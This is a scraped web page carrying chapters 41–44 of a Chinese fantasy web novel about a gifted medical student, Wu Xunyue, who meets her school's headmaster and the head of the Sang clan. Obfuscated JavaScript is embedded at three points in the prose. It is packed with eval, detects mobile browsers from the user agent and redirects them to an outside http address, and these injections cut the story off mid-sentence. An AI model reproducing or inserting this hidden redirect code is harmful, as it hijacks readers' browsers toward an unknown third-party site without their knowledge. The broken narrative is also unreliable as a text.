l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776824|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后也没承认,更说不出个所以然来——反正他们还有两年,就让他俩去边境慢慢磨吧。 三年级的期末考试,巫寻月毫不意外是第一,迟安瑜第二,朝黎第三。桑家和老师们私下找过朝黎谈话,嫌她不够迟安瑜用功,她一世族子弟,论天赋是高于迟安瑜的,但功课总是落他一截,巫寻月这种逆天之才就罢了,输给平民子弟实是不该。 这意思并非看不起平民子弟,而是朝黎的确不够用功,以她的天赋若能多下些功夫,医术造诣超过巫寻月也并不稀奇。 可朝黎心在迟安瑜身上,她觉得这样就很好,若是有不懂的问题,她还可以去找他请教。 巫寻月劝她思路打开:“你要不要这样试试,说不定哪天你成绩超过他了,他突然就对你刮目相看,终于明白你了呢?” 朝黎恍然大悟一般,开始痛改前非。 三年级结束的暑假,巫寻月一直泡在垩山中和小白一起修炼。事实上,医疗系的课程的确很繁重,有武术、控术、堪舆、药理、医术、驯兽、遁术、用毒和解毒,除了自己特有的专业课,其他课程也有在医疗系方向上的加强。 控术要重点学习防御类控术和封印类控术,以用于在战场上施救时能护住自己和战友,同时拖延敌人的动作;遁术也要特别学会长时间带人跑,也就是在战场上能够带着受伤的战友长距离转移。 而控制系一共七门课,武术、控术、堪舆、遁术、阵型、驯兽、结灵,控术需重点学习攻击类控术和封印类控术。 控制系的特有课程——结灵,这是控术的进阶版,控术是有规范的教学体系教你结成什么样的术法,而结灵,就是要完全凭空生出属于自己的术法意象,为日后的必杀技生成做准备。 按照往届来看,一般学生会参考控术体系生成自己的术法意象,这也是梅家建立教学体系的意义所在,而优秀毕业生们多是自创术式,天才更是不必说——能在毕业前就参悟出真灵级必杀技的,教科书早就不够用了。 所以合计起来,如果巫寻月想做双修系毕业生,她一共需要学习十门课程。并且,控术里的三个类别,攻击类、防御类、封印类,都是重点。 这听起来……简直荒谬极了。 相比起来,强攻系的七门课可就显得轻松了些——武术、控术、堪舆、遁术、阵型、驯兽、追踪与反追踪,重点在攻击类控术和遁术,毕竟近战若有出神入化的瞬移,胜算自然是大一些。 三个专业各自有重点和难点,但总的以经验之谈,相比起结灵和医术这两个难到令人发指的课程,强攻系的课程还是有章可依、有进度可查的。 所以,巫寻月未敢掉以轻心。 四年级开学的测灵,巫寻月已至九重灵。测灵筒瞬间爆筒,如打铁花般于教室炸开蓝色光焰。这意味着,她不是擦线的九重灵,而已然灵流通达,运转自如了。 开学第一天,巫寻月在宿舍收拾东西,心里却是照惯例等待着慕丹青来找自己,可突然锦章问了她一句:“你那个朋友是不是要去戍边了?她出发了吗?” 巫寻月这才猛然意识到……慕丹青已经毕业了,不在学校里了,再也不会跳上她宿舍的院墙,冷不丁喊出她的名字,给她一个意外之喜了。 离别,还真是让人难以习惯和接受的事啊。 四年级的开始倒还有个惊喜——秦艽来神都了。今年她和巫寻月一同年满十八,父母终于同意她独自来神都营生,几年前巫寻月建议她可尝试来都前驿卖邬戍城小吃,她记在了心里,这几年一直继续练习手艺,把双刀饼做得越来越好吃。 秦艽两月前就拜别了父母和巫寻月,先她前往神都,平民百姓若是来一趟神都,的确是得费这些时日。巫寻月拜托了驻城灵师照顾她,她手持特批的路引,一路也不会多有为难。 所以,秦艽赶在神都学宫开学前支起了摊子,第一日便生意火爆,同学们一传十十传百,一个个都去她的摊子前排起长龙,都说这小吃从未在别处见过,酥脆可口,别有风味,叫人回味无穷,秦艽开心极了。 秦艽还喜欢读书,从前就缠着巫寻月给她讲书,后来巫寻月去了神都,她就自己读一些别的,可整日闷在家里打理药铺,读了也没处使。现在来了神都,学生们待她彬彬有礼,她也能听明白他们闲聊所言了,这感觉和在老家太不一样,甚至觉得像是换了人间。 见她如此,巫寻月更是开心。家乡人或许都以为秦艽要仰仗巫寻月照顾,可在巫寻月心里,秦艽才是她的精神寄托。 巫寻月之前就托狄乐凰给秦艽找个地方读书,不需要世族子弟上的那种,阶级不同强撑在其中于秦艽并非好事,找个神都平民学校也比邬戍城要好上数倍。狄乐凰很快给她办好了,只是都前驿离神都城尚有一段距离,秦艽来回上课也是不便,巫寻月主动要接送她,秦艽怕影响她上课,推说不用。巫寻月说:“你可不知,我拿你当练习呢,我们医疗系的遁术要求掌握带人行动,这不,每日送你,刚好得很,不出一阵子我可就比他们都学得快了。”秦艽这才同意。 四年级的开始,没了慕丹青,巫寻月还是有盼头的。 而到了开学第二日,更炸裂的消息就砸到了巫寻月头上。梅总务亲自来找她,说:“校长想见你。” 42. 第 42 章 42. 巫寻月愕然以对:“见我?” 梅总务说得明白:“其实是桑宗主想见你——医疗系四年级的九重灵,这世间除了桑家嫡系,尚无人能做到。所以,校长怕你担心,想先交代你几句。” 桑川禾要见她,这可比梅校长要见她更炸裂。见她愣怔久久,梅亦书都要笑话她了,说:“你可知为何?” 巫寻月试探道:“因为我四年级九重灵,有可能毕业的时候是真灵?” “那你又可知,这意味着什么,”梅亦书疼爱地笑了笑,“有史以来,所有的医疗系封号灵师皆出自桑家,若你日后得升封灵境,那你将会是史上唯一一个非桑氏族人的医疗系封号灵师。” 这么一说,巫寻月更糊涂了,问:“那……桑宗主是何意?” 见她紧张,梅亦书好好安抚道:“自然是要好好栽培你,桑宗主与校长是知己,交情深厚,这些事校长都会好好交待你的。” 如此巫寻月算是有了点底,跟着梅亦书往校长那去了。 校长书房在神都学宫高处,入口并不起眼,仅一条三人宽的窄道通行。巫寻月想起来很久之前有人告诉她,司城凛来过一次,引全校同学拥堵到此,现在亲眼见了现场才知为何会水泄不通。 进了院子,穿过檐廊,梅亦书带巫寻月立在门外,报:“启禀校长,巫寻月人到了。” “进来吧。”这道声音虽一听就出自老者,却显得十分轻快。 巫寻月随梅亦书入内,绕过屏风之后,见到了正坐在案牍后办公的梅晏晷,他不慌不忙地抬起头来,目光落定在巫寻月身上,眼神略带笑意。 梅亦书将她带到案前,像个操心的老母亲一样手把手教:“见过校长。” 巫寻月乖乖行礼:“见过校长。” 梅晏晷点了点头,梅亦书就向他告退了。 梅亦书才转身,巫寻月就心跳骤升,浑身绷直。虽说每年见到梅晏晷的机会不少,开学典礼、毕业大考送行、毕业典礼等他都会出席,但一般学生哪有机会单独面见校长,要见便就是闯下塌天大祸了——慕丹青有幸见了一次,司城迦染入学不到一个月就见了第一次。 除了校长的身份,巫寻月恍然意识到,这是她第一次与封号灵师独处——若不算司城凛的话,且,还是最最顶尖最有名望的封号灵师。 梅晏晷眉眼含笑,先开了口:“寻月,来坐。” 梅晏晷邀她到坐榻上落座,一旁水壶恰好烧开,梅晏晷接着动手给她沏了壶茶,顺带开口道:“听说你最近也在钻研茶道,可能品出我这茶中有什么名堂?” “……学生怎敢班门弄斧,实在算不上钻研,只是贪嘴,想办法把苦涩的药草泡得好喝些而已。”巫寻月这么一说,梅晏晷笑了笑,仍等待她的下文。巫寻月才要低头浅啜一口,就见到茶杯之中有霜花渐渐凝结,她一惊,抬头问:“校长,这可是霜鬓兰?您近日……是有头痛吗?” 梅晏晷不着急回答她,悠然品茗,待那霜花下了肚,才开口道:“霜鬓兰课本里可未写到啊,普通药行或也未可知,你果然是对草药见识不凡。” 巫寻月有些急了,都忽略了回应校长的称赞:“这霜鬓兰我贪嘴尝过,虽长在极寒之地,却是药性至烈,对冥思反噬的头痛有极强效用,且能在镇痛同时温养识海,反而让重要记忆更清晰……只是校长,这药药性至烈,需以性温之药中和,可我观您这茶中……也或许是我没品出来。” 梅晏晷听完,笑意中的赞许更深了,道:“不打紧,我们这些老人家问题复杂,霜鬓兰对你这样的小朋友是过烈了,于我倒是无碍……只是,你也知霜鬓兰长在极寒之地,普通药行也未有售,你家在西南,是如何见识过还能尝过的?” 这一话锋转得猝不及防,巫寻月有些无措了。自然是小白驮她去极北玩的时候采到的,霜鬓兰长在极寒雪崖,她远远只瞧见一朵,当然要采下回去琢磨一番,虽的确从未听闻,可也没想到这么稀有——不愧为梅祭酒的座上茶。 巫寻月语塞:“我……” “不打紧,”梅晏晷打断了她,低头吹散茶汤热气,“每个人都有自己的秘密,你生来不凡,注定会背负更多的秘密,只是——你还得学会如何隐藏一些。” 巫寻月一时不明所以,没有做声,只见梅晏晷微啜一口茶汤,气定神闲地道:“你一直在苦练控制系术法,就连结灵也初具成效,可是想以双修系毕业?” 巫寻月浑身一震,梅晏晷也在此时抬头看向了她,眼神中略有调皮,似乎在等着看小朋友要如何解释。而巫寻月对着他那双幽深之瞳,只觉能够穿透万象,洞若观火,仿佛一双苍穹之眼一般普照天下。 梅晏晷自己给了答案:“好,这也是个秘密。” “……倒也不是,”巫寻月如实相告,“校长,我只是觉得,受的注意太多,反而影响我修炼,甚至是……影响我的判断,且我自知如此做法过于艰难,心中也没有几分成算,功成之前,还是隐晦些为好。” “你能这么想,我也算放心了,”梅晏晷顿了顿,可没忽略她话间之意,“只是你说,过多的注目影响了你的判断,可是指在专业选择这件事上?” 巫寻月仿佛被施了定魂术法一般,呆呆地看着梅晏晷,说不出一个字。往日她说话倒也不是如此漏洞百出的,只是在梅晏晷面前,不自觉就变得诚实了,不知是他仿佛一面照妖镜,让人不得不原形毕露,又或者是面对他那双悲悯众生的眼睛,她忍不住就说了实话。 梅晏晷笑了起来:“我明白了……桑川禾此行与你见面,怕是要让他失望了。” “校长,我……” 巫寻月刚要开口,窗外飞来了一只白鸟,轻轻落在了梅晏晷肩头,梅晏晷近它一些,好像是在听它说些什么。这是同心鸾,之前司城迦染帮她传信回家中问罡灵坠时听说过,到今日才得以一见。 很快,梅晏晷回应道:“知道了,我这就转告她。” 同心鸾飞走了,梅晏晷抬头对巫寻月说:“桑宗主临时有事到十部令府去了,之后还有要事,只中途有半个时辰空闲,他问你愿不愿到十部令府去,他在那里见你,顺便你也可以参观参观十部令府。” ——竟可以参观十部令府,这搁谁身上不开心啊。巫寻月眼睛都亮了:“真的吗?” 梅晏晷见她如此,当即说:“霁月猊会送你到十部令府,午后出发,梅总务会去喊你。” 巫寻月开心极了,立即起身行礼:“谢谢校长。” “四年级便能到十一令府中参观的,你是第一人,”梅晏晷含笑看着她,“不要害怕让桑川禾失望,神都学宫最终想教会你们的,正是如何找到自己心之所向。” 不知为何,巫寻月忽然想哭。她垂眸忍了忍,才再向校长行礼,道:“我明白了,谢谢您。” 巫寻月中午回去吃饭午休,到了下午,梅亦书前来喊她,说霁月猊已经在断崖等候了。 巫寻月换了那身深红色翻领长袍制式的校服前往,梅亦书见到她时一怔,赞道:“我倒还忘了交代你这个,寻月还是聪明。” 梅亦书送她上车,叮嘱道:“去了不必紧张,也不要喧哗,十部令府有很多病人,整体要求肃静一些,参观时也无需着急,霁月猊会等在门口送你返校。” 巫寻月回以一笑:“好,谢谢梅老师。” 巫寻月乘坐着霁月猊车驾出发了,十部令府位于灵谕大街东段前部,也就是神都城偏中间的位置, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785670|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车驾先落到东北门外,再行陆路进城,一路穿灵谕大街东段到达。 车驾到十部令府门口时,正赶上有伤员入府抢救,负责接应的令士让他们避让一二,巫寻月先从车上下来了,询问道:“这是怎么了?” 令士答:“有人训练时受伤,我令同僚正将人接回来,马上就到了——已到了!” 只见天空中远远地出现了两人一前一后抬着担架的身影,正急速赶来。巫寻月倒不是第一次见此场景,学校里练功把自己伤了的学生比比皆是,若不是有那戒断环,她估计也要伤上不少。可学校里终归是小打小闹,无需太多处理,像现在如此风风火火急救的还真没见过。 巫寻月站在车驾旁观看,她不知道的是,一道目光自她身后而来,已经盯了她多时了。 司城凛骑烈火驹出司城府侧门,抄近道上灵谕大街东段,一路向西穿行,方可到达九部令府门口——这是他日常上值路线,若不日常,比如赶时间,则用遁术。 他刚踏上灵谕大街,远远地就望见了霁月猊停在十部令府门前,那头蓝色大狮子停下后仰着脖子打了个哈欠。五大宗族座驾显眼得很,自然一眼就看见了。 霁月猊出现在此有三种情况,一是梅家人亲至,但那车驾制式普通,断不是梅家宗亲所用;二是神都学宫中人出了大问题不得不到十部令府急救,但看那些人不紧不慢,还停下来让路,该也不是需要救急。 那就还剩一种情况了——桑川禾要见神都学宫中什么人。而神都学宫在读学生中,何人有如此天赋足以让桑川禾引起重视亲自接见,不会再有第二个答案。 司城凛目不转睛地盯着霁月猊车驾,就见到车帘被掀开,一道红色身影缓缓出现,背对着他站到了地面上。 ——长高了,身形几乎完全变了模样,灵流也稳定了许多,不再似从前在垩山那般躁烈无制了。 司城凛运灵压制住了罡灵坠的感应,以免她注意到不寻常。 伤员抬进了府,接应令士转过身来刚要带巫寻月进门,抬眼就看见了迎面过来的司城凛,立即倾身行礼:“司城封座。” 巫寻月心头一震,什么也来不及考虑,一转身,那张英俊冷冽的容颜就这样猝不及防地闯进了她的眼中。 鬃毛飞扬如火的马驹之上,司城凛身着玄青色广袖对襟长袍——这是九部令座首官服,发髻梳成了他偏爱的半扎半束,只是鬓发敛了样式,不再复半分少年侠气,俨然完全变成了令人闻风丧胆的司城封座。 而那张脸,英容神目,虽皮肤白皙,却无半点柔美之气,硬朗如铁,锐利如鹰。镶金腰带间,除了悬挂珠玉组配,还有他不久前刚刚颁布的“凛”字令,不是司城家,不是九部令,而是独象征他本人的“凛”。 司城凛抬头远视,目光未有移动,就这样直视着前方,在她面前策马而过。 巫寻月脑海一片空白,世界仿佛再被消音,什么也听不见了。上一次这么近地见到他是什么时候呢……原来已是三年前了,三年不太长,她却觉得恍如隔世,这三年发生了太多太多事,她和他身上,几乎都找不出那年那片花海之中的半点影子了。 ——“若你来神都,我们还会再见。” 那么,这就是他所谓的再见吗,擦肩而过,视若无睹。这样的再见,好像她已经完全失去了跟他说话的资格。 司城凛徐徐驶过,部众行礼的方向跟随他偏转,直至他完全离开十部令府门。 负责接应的人之中有今年刚毕业的新人,刚报到不久,也是第一次见司城凛,惊魂未定地道:“司城封座的气势……好吓人啊……” 另一前辈安抚道:“别怕,司城封座平日会点头回应一下的,今日大概……是心里有事吧。” 43. 第 43 章 43. 两人回头,看见了还正怅然若失的巫寻月,刚毕业的新人提醒道:“学妹,可以进去了。” 巫寻月这才回神:“……好。” 十部令的官服为宝石蓝交领中衣外搭白色窄袖交领劲装,巫寻月别的虽然见的不多,但却大多是深色系,今日一见此蓝白搭配,觉得一派清新,好像才见到他们,便莫名心生治愈了。 步入十部令府中,最显著的便是无处不在的莲花,不仅院落之中、连廊拐角处都放着几大缸水专以养莲,雕栏壁画上所刻也皆是。接应一路向她介绍四处,所遇之人不多,大家各忙各的,钻研药材、照顾病人,又或是在后场训练,学长告诉她,即便是医疗队伍,他们的训练要求可是和其他十令同等标准。 巫寻月被带着穿过前院,映入眼帘的更是一大片莲花池,秋冬将至,竟还大片盛放。前辈说,这些莲以灵力蓄养,常开不败,与桑府中的一样。 桑川禾的书房,就在这一片莲花池中央。 两人将她带到书房门口,抬声禀报:“禀封座大人,巫寻月已带到。” 屋里传出的声音显得十分和蔼:“好,让她进来吧。” “我们就送你到这里了,”刚毕业的学长贴心多交代一句,“别紧张,封座大人人很好。” “好。”巫寻月颔首领情,他们二人便离去了。 巫寻月难免还是有些紧张,屏着呼吸进了门,书房里头很大,多有书架屏风等隔断,她还未来得及找到桑川禾的身影,就听他先提醒了:“在这里。” 巫寻月循声看去,一处茶榻上正端坐着一位白发苍苍的长者,他身着白底蓝边广袖对襟长袍,制式与刚才司城凛穿的一样,该是座首官服。除了官服,其他饰物也比司城凛少得多,素净得多,不知该说是年纪大了不喜铺张,还是说——司城凛的确太臭美了。 巫寻月到了近处,才发现桑川禾虽一头白发,面容却并非老态,看起来比梅校长都要精神几分,这发色加上一身白袍,衬得更是雍容和雅了。她向桑川禾行礼,道:“学生巫寻月,见过桑宗主。” 十一令中除了桑川禾与司城凛还兼有宗主身份,其余九位是要一直尊称封座大人的,但对于还未毕业的学生来说,这两位的宗主身份自然是高于座首身份的。 桑川禾正在泡茶,抬眼看向她,浅笑道:“来了。其实很早就知道了你,也能猜到你大概于今年达九重灵,便想,这时该见一见了。” 巫寻月一时无话,桑川禾又说:“别紧张,老夫不像你们梅校长那么无聊,没事就考考学生找乐。今天找你来,一是因你天资过人,照这样下去,毕业前修炼出真灵境已是板上钉钉,老夫司掌灵族医疗,总该有责任提点你一二;二是你家乡离神都千里之遥,一个人在神都无家人可依,以后不管你是选我桑家还是十部令,我们都是一家人了,提前与你会面相识,也好叫你知道在神都有所归属。” 巫寻月心有动容,更是不知所言了:“桑宗主……” 桑川禾招呼她过来,笑道:“坐吧,茶好了。” “是。” 巫寻月与桑川禾相对而坐——她这一日下来,五大宗族的宗主见了三个,其中修为最高的梅晏晷因他是校长,天然带有亲厚,她便也不太害怕;桑川禾上来一番敞开心扉,也让她宽慰放松了几分……只有司城凛,她光想想那张傲若冰霜的脸,就觉得脊背发凉。 桑川禾先主动寒暄了些家常:“近日可有给你姐姐写信?” 巫寻月答:“刚刚开学,还未分离太久,今年中秋时候早,等到中秋之前我再给姐姐写信。” “你姐姐待你很好,每个月都托桑家的收药队伍给你带些吃的和家用来神都。” “姐姐的确于我如同父母,没有姐姐,我也无法到神都来读书。” 桑川禾一边给她倒茶,一边说:“我们十部令部众没有其他十令那么多,所分府舍空置也相对多些,虽说按照衔级,初入列者尚未成家只能分单人府舍,但念你家乡遥远,老夫可以给你找间大一点的宅子,这样你姐姐来神都小住也方便些。” 巫寻月十分受宠若惊,人都傻了:“桑宗主……您实在有心了,我怕……可能我的修为属于误打误撞,毕业并不能如您所愿的那样入真灵境,会让您失望……” “这就是今天的第一件正事了,”桑川禾抬头冲她一笑,“寻月,老夫现在需要为你测灵,你可介意?” 巫寻月着实意外:“测灵?” “对,有别于你们在校时用的测灵筒那样的简单方法,九重灵以上的测灵之法,要更全面,也更具体。” 巫寻月深吸了口气,正襟危坐道:“好。” “别紧张,很快就好。”桑川禾又安抚她一次,只见他放下茶盏,稍稍向后,右手广袖一挥,巫寻月瞬间感觉到脊背被人提起,身体内所有灵力竟不受她控制了,听话地排列成型,挣脱引力向上溢出。她不受控制地仰起脖子,见到自己头顶上方全是灵光流转的银丝,而桑川禾,正在仔细察看那些银丝间的奥秘。 没一会,桑川禾就再一挥手,那些银丝便回到了巫寻月体内,一切恢复如常。 她还未坐定,就听见桑川禾说:“你灵脉扎实稳固,是自你幼时起就根植于你体内,让你能更畅快地吸取天地灵气,即便尚未修习灵术,也能在体内生成远超同龄人的灵力。而你的灵气自带山川草木之气,也与你自幼与草药为伴有关,这草木气息至臻至醇,在老夫所遇之人中,千人也未必能有其一,的确是学医疗系的天纵之才……” 巫寻月看见桑川禾神色一定,就知接下来的话,才是他真正想说的:“只是老夫观你灵力不止是草木之气的干净平稳,还带了一股罡烈之气,一般来说,这种气相多在强攻系灵师身上出现,他们训练单体爆发强度便会如此,而你身上的罡气……却又颇为稳定,与自身的草木灵气相融自如,取长补短,相辅相成,渐成浑厚……此为控制系灵师之相。” 巫寻月呆住了,眼神有虚,一时无言。见她如此反应,桑川禾难得露出一丝惊讶,却也已然知晓了答案:“你早就知道了,你是有意如此的。” 这就是面对封号灵师的处境吗,一切都会被看穿,根本什么也瞒不住,自己就像一个原形毕露的囚徒,被对方全面检视。巫寻月记得,学校里隐灵级的老师用测灵筒时,尚需施展些术式才能将学生的灵力调出,桑川禾刚才仅是一挥衣袖,就已能高精度地探查她的灵脉之相了。 巫寻月沉了口气,决定放弃所有的掩饰,开诚布公:“桑宗主,其实……我觉得我不过是在践行灵术体系的初衷而已。” “哦?”桑川禾饶有兴致地挑了挑眉,为她的杯盏续茶,“这是怎么说?” 巫寻月直白相告:“以我观之,灵师培养的首要标准是能战,然后才是其他,由此,强攻系为基础,控制系增加结灵之法,而医疗系,也是在武术与控术的基础上学习医术,此为学校课程设置的出发点。可因为每个人灵脉不同,体质不同,所适合的术法类型也不同,由此调整出了三个不同专业,若一类术法能修成毕业标准即可,既是为了毕业,那么大家都会选择一心修炼自己擅长的术法而选择性暂缓其他,这样一来,有些非强攻系学生甚至连最基准的白打之法也忽略了,有悖于灵师皆可战的首要原则,而我认为……许多人对医疗系的偏见,也源于此。” 桑川禾没做声,眼底的笑意却是渐渐加深。 巫寻月斗胆,继续说了下去:“若是按照最初课程设置的理念,也就不存在双修系了,所有人都该是武术与控术同等功力,而医疗系灵师才该是最全面的,我们在武术与控术皆修成的基础上还能掌医术之法……可是,这的确太难了,能达此者,凤毛麟角。恕寻月斗胆,虽都说您从未出手,论灵师战力排名,一向少有人提及您,可寻月相信……若您出手一战,必定不会输于大部分封号灵师。” “哈哈哈哈……”桑川禾纵声大笑,吓了巫寻月一跳,她刚要为冒犯致歉,就听见他说,“你还真是看得起老夫啊。” 巫寻月稍稍垂眉,认真而谨慎地说:“桑宗主,寻月只是自认有些余力,不必将武术与控术这些课程就此搁置,一同都学了起来而已,只是这条路的确难走,我也时常感觉疲惫,但寻月觉得……现在还没到让我放弃的时候。” 巫寻月没敢抬眼,也就没看到桑川禾满眼的赞赏。他又是一笑,语气更显松闲了些:“原是想为你说明在桑家供职与在十部令的不同,好让你有所预想,可老夫现在观你……倒像是更适合去十一部令。” 巫寻月一惊,抬起了头:“十一部令?” “对。” 巫寻月迅速在脑海里搜寻与十一部令相关的所有信息,可竟才发现……其余一至十令或多或少听过一嘴趣闻,对于十一部令,却是杳无可知,一片空白。就连十一部令座首是何名讳,她也没有丝毫印象。 巫寻月道出心中疑问:“桑宗主,我好像……” “鲜少听闻十一部令之事,是吧,”桑川禾替她说了出来,“部众皆以座首为尊,座首是何风格,部众便会渐渐随之,而十一部令座首形象模糊,少有人所道,自然对十一部令整体印象也就跟着模糊了。” “是,我的确从未听闻十一部令座首之事,就连名讳也未知晓……” 桑川禾想起巫寻月来自平民家庭,对许多灵师世界习以为常的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785671|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不曾听闻,好好想了想要怎么告诉她。于是他先是问:“你可曾去过灵宗庙?” “去过的。” “可曾注意灵宗庙中最后一尊神位为空,只留有其尊号?” “是。” 桑川禾给出了答案:“那便是十一部令座首,我们尊称他为老灵宗。” 巫寻月以为自己听错了,呆呆地看着桑川禾,根本无法理解他刚才所说之言:“……什么?” “的确,平民很难相信,十八灵宗之中年纪最小的灵宗尚在人世,所以,便不能立他之神像,将他当逝去先祖供奉,”桑川禾没给她多少消化时间,他知道以她之聪慧是能反应过来的,“老灵宗从未现世,从未出手,现在在世的人中,无人知晓老灵宗之名,也无人知晓其类系和灵力。” 巫寻月还在石化,桑川禾补充了一句:“这在灵师间众所周知,只是你来自平民家庭,不曾听闻而已。” “……原来如此,”既不是秘密,巫寻月松了口气,却仍是震撼无极,“那老灵宗……得多少岁了啊?” “无人知晓,”桑川禾略略一笑,“只知道是和十八灵宗们同一时代的人物,也是十八灵宗里年纪最小的弟弟。” 所以,这位十一部令座首老灵宗的所有信息总结来说就是——无人知晓。 巫寻月再提问:“那桑宗主,我可不可以理解为,老灵宗的能力……是接近于永生?” “可以这么理解。” “您说他从未现世,是指没有人见过他,也找不到他是吗?可十一部令事务又是由谁在打理呢?” “由副座全权代掌,包括出席天听阁会议,因此,十一部令副座的任免要比其他十令更为严苛,即便不是封号灵师,战力也达到了半步封号灵师,”桑川禾顿了顿,才说,“现任副座沙无痕,可与封号灵师一战——他正是医疗系。” 巫寻月轰然间醍醐灌顶,全然明白了桑川禾所有用意:“您是说,沙无痕副座是一位像您一样的医疗系全才,其武术和控术造诣也极其高深,是吗?” 桑川禾眉头一挑,有些乐:“你这个小朋友,倒是会说话得很。” 巫寻月低头浅笑间,桑川禾缓缓起了身,松松筋骨,巫寻月跟着一道转向他,听他继续说:“你说得不错,现在大多的医疗系灵师都会放弃其他术法,专精医疗,因此十部令整体便显得战力不济了,我桑家嫡系虽在我要求之下不可偏颇,可你非我之后,若是入桑家效力,自然也是多专精于医疗研究,少了用武之地。若是在十部令府,又会显得你曲高和寡,知音难觅——而十一部令中,有一些如你之辈,不多,毕竟能达此全才的确凤毛麟角。” 巫寻月领会道:“原来如此……” 桑川禾转身看向她,一笑:“自然老夫也不想将你推出去,你终究是有极高医疗天分,老夫愿加以栽培,助你名垂青史。” 巫寻月缓缓起了身,诚恳地说:“桑宗主,寻月从未敢想能得您这样的人物提点栽培,心中万分感激您的赏识,只是……我现在才四年级,对于毕业后就业总觉得还有些遥远,日后造诣如何还未可知,实在怕辜负了您的期待,我想等到七年级的时候,或许才能做出更合适的决定。” 桑川禾点了点头,道:“梅祭酒说得不错,你是很有自己想法的人,如此应该的——但老夫之前所言也还算数,闲时可让朝黎那丫头带你到桑府中走走,小住一阵也行,就把桑府当成自己的家,老夫已吩咐下去,若你来,无人相阻。” 巫寻月向他郑重行礼,颔首时,眼底带了泪光:“谢谢您了。” 当天回到学校,朝黎就过来寻她了,迫不及待问:“见过我家宗主了,如何?” 桑川禾待她亲和,巫寻月也如实相告,但她更急于想知道:“朝黎,桑宗主跟我说,十一部令副座是一位医疗系全才,部众也有一些如他之人,那十一部令更多是以什么系灵师为主呢?” 朝黎想了想,说:“我记得十一部令是以控制系灵师为主,有部分医疗系灵师和强攻系灵师,的确如宗主所言,十一部令的医疗系战力是要强一些——宗主不会建议你去十一部令吧?” 这倒是没错了,医疗系本质是更全面的控制系,既然医疗系人少,主体为控制系就合理了。 巫寻月没回答她,若有所思道:“你说,一支封座大人不在的队伍,究竟有何不同呢?” “倒是没什么不同,十一部令副座全权代掌,一切事务也都是如常运转的。”朝黎并不觉得她这话有异,果然老灵宗的存在灵师皆知啊。朝黎想了想,又说:“我家宗主大人还真是洞若观火啊,十一部令的人还擅长驯兽,你这下是不是觉得自己更适合十一部令了?” 44. 第 44 章 44. 打听不到老灵宗的消息,沙无痕还是可以的。 沙无痕是神都世族子弟,毕业大考放出真灵境必杀技无影妙法,此术法可于自身或战友身上构筑一道无形力场,将其所承受的攻击、封印等负面效果完全反弹回去,达到“搬起石头砸自己的脚”之效。他是那一届毕业生中唯一的真灵境,控制系术法虽达不到真灵境水准,可也够普通九重灵难捱一壶。 沙无痕毕业入十一部令之后因不主事医疗,反而有了更多时间提升其他术法功力,渐渐修炼成全才,三十一岁升破灵境,如今五年过去已能与封号灵师一战,想必是修炼大有进益。 虽说沙无痕已算是全才,可终究冠以医疗系之名毕业了,而巫寻月想要的,显然比他更多,更难。 慕丹青出发去戍边之后不久,狄乐凰也离开了神都,她开始独立掌狄家事务,常常需要奔忙于各处。她在来信中说,不在神都,让她自在了许多,神都有神都的繁华,各处有各处的风情,久而久之,即便偶然得闲,她也不愿再回神都了。 四年级的日子没了她们,加上巫寻月需要大量额外时间补齐控制系的功课,日子过着显得千篇一律了起来,不知不觉间,一年就过去了。 四年级的期末,朝黎的成绩如愿超过了迟安瑜,果然她悟性通达,仿佛平日只是假寐,一旦心念微动,万千学识便如受感召,在她脑海中自行辉映贯通了。 也因此,如巫寻月所说的那样,五年级的开始,迟安瑜主动与她说话了些,没过多久,俩人就开始腻歪上了。从此问心阁少了许多朝黎叽叽喳喳的声音,独留巫寻月一人清净,偶然她也觉得好像是冷清了些。 五年级开学时测灵,其他人都算按部就班,唯独东方曜一枝独秀,已至八重灵。 东方曜在控制系一班,分班之后巫寻月很少见到他,最近一次碰见,吓了她一大跳——他怎么突然就比她高出一个头还多了?眉目疏朗,拔直挺秀,几乎没了半点孩子气——与巫寻月脑海里那个十一二岁个头比她还矮的小男孩完全判若两人。 巫寻月后知后觉,五年级她十九,人家也该十五了,这个年纪的男孩皆是拔地而起,变化大得吓人。 其实也不是“碰见”,是东方曜来找她的。他说去年就知道她已升九重灵,可他当时只有七重灵,不敢前来挑战,苦修一年到了八重灵,才敢前来一试。 巫寻月想了想,在小白不在的日子里,也总得找人对打训练,放眼全年级,也就东方曜修为最高了,六七年级倒是有一些九重灵,可她也不认识。 所以,五年级的日子里,走了朝黎,来了东方曜。 一次,巫寻月夸他修炼提升很快,想来是下了很多苦功夫,按照这个进展,到了六年级就能提前锁定优秀毕业生了。 可东方曜脸上并无喜色,淡淡回了句:“没你快。” 巫寻月跟那浑身发着蓝光的霁月猊似的,行走自带焦点,自然她跟什么人往来很快也会被传扬出去。跟东方曜打了没几场,朝黎突然就跑来问她:“你跟东方曜谈恋爱了?” 巫寻月莫名其妙地看着她:“什么鬼?” 朝黎说:“外面传得沸沸扬扬的,说你俩最近天天在一块,从山下打到山上,从早打到晚。” 